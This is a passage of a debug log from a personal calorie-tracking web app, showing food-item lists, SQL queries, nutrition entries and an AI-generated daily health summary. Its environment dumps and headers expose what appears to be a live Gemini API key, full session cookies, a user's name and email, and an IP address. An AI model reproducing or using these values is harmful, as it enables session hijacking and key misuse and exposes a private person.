    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T13:51:02.459Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T13:51:17.384Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T13:51:17.384Z server-connect:app Executing action step identify
2025-12-16T13:51:17.384Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:17.384Z server-connect:output identity: 1
2025-12-16T13:51:17.385Z server-connect:app Executing action step restrict
2025-12-16T13:51:17.385Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T13:51:17.385Z server-connect:output restrict: undefined
2025-12-16T13:51:17.385Z server-connect:router Render template calorie-tracker
2025-12-16T13:51:17.385Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T13:50:56.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-16T13:51:17.609Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T13:51:17.610Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-16T13:51:17.610Z server-connect:app Executing action step identify
2025-12-16T13:51:17.610Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:17.610Z server-connect:output identity: 1
2025-12-16T13:51:17.610Z server-connect:app Executing action step restrict
2025-12-16T13:51:17.610Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:51:17.611Z server-connect:app Executing action step identify
2025-12-16T13:51:17.611Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:17.611Z server-connect:output identity: 1
2025-12-16T13:51:17.611Z server-connect:app Executing action step restrict
2025-12-16T13:51:17.611Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:17.611Z server-connect:output restrict: undefined
2025-12-16T13:51:17.611Z server-connect:app Executing action step single
2025-12-16T13:51:17.611Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-16T13:51:17.611Z server-connect:output restrict: undefined
2025-12-16T13:51:17.612Z server-connect:app Executing action step single
2025-12-16T13:51:17.612Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T13:51:17.612Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: 'The day showed a moderate intake of foods, with a decent effort towards incorporating whole grains and vegetables. Protein sources appear to be present but could be prioritized further to support muscle development. Meal timing seems spread out, which is generally supportive of consistent energy levels. Recovery support is implied by the early morning gym sessions.',
    bad_points: [
      'Protein intake appears to be on the lower side relative to the goal of muscle development.',
      'The inclusion of digestive biscuits and milk sugar coffee might not be optimal for fat loss.',
      'The idli, while a staple, is primarily carbohydrate-heavy.'
    ],
    good_points: [
      'Inclusion of whole wheat roti, providing complex carbohydrates.',
      'Incorporation of a vegetable dish (Aloo Gobi).',
      'Use of unsweetened milk tea and green tea.',
      'Spaced out meal and snack consumption throughout the day.'
    ],
    suggestions: [
      'Aim to include a more significant protein source with main meals, such as lean meats, lentils, or paneer.',
      'Consider swapping the digestive biscuits for a protein-rich snack or a larger portion of makhana.',
      'Be mindful of added sugars in beverages like the milk sugar coffee.',
      'Ensure adequate hydration throughout the day, especially with early morning workouts.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-15T18:30:00.000Z'
}
2025-12-16T13:51:17.613Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T13:51:17.613Z server-connect:app Executing action step select
2025-12-16T13:51:17.613Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T13:51:17.616Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  },
  {
    id: 407,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)',
    replacements: 'Jowar/Bajra/Ragi Roti (similar calories but potentially better nutrient profile, higher fiber),Reduce quantity if carbohydrate intake needs to be controlled, replace with more vegetables or lean protein',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates, providing sustained energy for workouts and muscle recovery. Whole wheat also offers fiber and essential nutrients, which are beneficial for overall health and digestion.'
  },
  {
    id: 408,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)',
    replacements: 'More Gobi (cauliflower), less Aloo (potato) to reduce starch and calories,Cook with minimal oil/ghee or use healthy cooking sprays to reduce fat content,Add more non-starchy vegetables like spinach, carrots, or beans to increase volume and nutrients without excess calories',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 2,
    skip_reason: "Potatoes provide good carbohydrates for energy, and cauliflower is a nutrient-dense vegetable rich in vitamins and fiber. However, this sabzi is often prepared with a significant amount of oil/ghee, which adds a lot of calories and fat. For muscle development, it's beneficial to control fat intake from cooking oils while prioritizing lean protein and complex carbs. A leaner preparation would be more ideal."
  },
  {
    id: 409,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Digestive Biscuits',
    calories: 152,
    protein_gm: 2,
    carbs_gm: 22,
    fat_gm: 6,
    quantity: '2 biscuits (approx 32g, assuming 16g per biscuit)',
    replacements: 'Whole grain crackers (plain),Apple slices with a sprinkle of cinnamon,Plain roasted chickpeas',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 2,
    skip_reason: 'While providing some energy, digestive biscuits are processed and often contain refined flour, added sugars, and unhealthy fats. For muscle development and managing energy for a desk job, nutrient-dense whole foods that offer more protein and fiber, or slower-digesting complex carbohydrates, would be more beneficial.'
  },
  {
    id: 410,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Makhana (Fox Nuts)',
    calories: 88,
    protein_gm: 2,
    carbs_gm: 19,
    fat_gm: 0,
    quantity: '1 handful (approx 25g)',
    replacements: 'Air-popped popcorn (unsalted),Cucumber slices,Celery sticks',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: "Makhana is a healthy, low-fat, and good source of carbohydrates, fiber, and some protein. It's a much better snack choice compared to processed alternatives and provides sustained energy, aligning well with muscle development goals."
  },
  {
    id: 411,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (unsweetened)',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is an excellent beverage, rich in antioxidants and has negligible calories. It supports metabolism and overall health without hindering muscle development goals.'
  }
]
2025-12-16T13:51:17.616Z server-connect:app Executing action step setvalue
2025-12-16T13:51:17.616Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T13:51:17.616Z server-connect:output var_total: 1313
2025-12-16T13:51:17.616Z server-connect:app Executing action step setvalue
2025-12-16T13:51:17.616Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T13:51:17.616Z server-connect:output var_consumed: 55
2025-12-16T13:51:17.616Z server-connect:app Executing action step setvalue
2025-12-16T13:51:17.616Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T13:51:17.616Z server-connect:output var_deficit: 1087
2025-12-16T13:51:17.616Z server-connect:app Executing action step custom
2025-12-16T13:51:17.616Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T13:51:17.617Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '1313',
    surplus_or_deficit: '1087',
    status_flag: 2
  }
]
2025-12-16T13:51:18.201Z server-connect:app Executing action step identify
2025-12-16T13:51:18.201Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:18.201Z server-connect:output identity: 1
2025-12-16T13:51:26.142Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-16T13:51:26.142Z server-connect:app Executing action step identify
2025-12-16T13:51:26.142Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:26.143Z server-connect:output identity: 1
2025-12-16T13:51:26.143Z server-connect:app Executing action step restrict
2025-12-16T13:51:26.143Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:51:26.143Z server-connect:output restrict: undefined
2025-12-16T13:51:26.143Z server-connect:app Executing action step processWithGemini
2025-12-16T13:51:26.143Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-16T13:51:30.728Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Papaya',
      quantity: '3 slices (approx 120g, assuming 40g per slice)',
      total_calories: 52,
      protein: 0.6,
      carbs: 13,
      fat: 0.4,
      unit_of_macro: 'g',
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: "Papaya is a highly nutritious fruit, excellent for health and muscle development. It's rich in vitamins A and C, folate, fiber, and contains papain, an enzyme that aids digestion, which is beneficial for nutrient absorption after workouts."
    }
  ],
  total_macros: {
    total_protein: 0.6,
    total_carbs: 13,
    total_fat: 0.4,
    unit_of_macro: 'g'
  }
}
2025-12-16T13:51:35.200Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-16T13:51:35.200Z server-connect:app Executing action step identify
2025-12-16T13:51:35.200Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:35.201Z server-connect:output identity: 1
2025-12-16T13:51:35.201Z server-connect:app Executing action step restrict
2025-12-16T13:51:35.201Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:51:35.201Z server-connect:output restrict: undefined
2025-12-16T13:51:35.201Z server-connect:app Executing action step condition
2025-12-16T13:51:35.201Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-16T13:51:35.202Z server-connect:app Executing action step repeat
2025-12-16T13:51:35.202Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-16T13:51:35.202Z server-connect:app Executing action step insert
2025-12-16T13:51:35.202Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-16T13:51:35.203Z server-connect:output calories: { affected: 1, identity: 412 }
2025-12-16T13:51:35.204Z server-connect:output repeat: [ {} ]
2025-12-16T13:51:35.204Z server-connect:output condition: undefined
2025-12-16T13:51:35.419Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T13:51:35.419Z server-connect:app Executing action step identify
2025-12-16T13:51:35.419Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:35.419Z server-connect:output identity: 1
2025-12-16T13:51:35.419Z server-connect:app Executing action step restrict
2025-12-16T13:51:35.419Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T13:51:35.420Z server-connect:output restrict: undefined
2025-12-16T13:51:35.420Z server-connect:router Render template layouts/main
2025-12-16T13:51:35.420Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
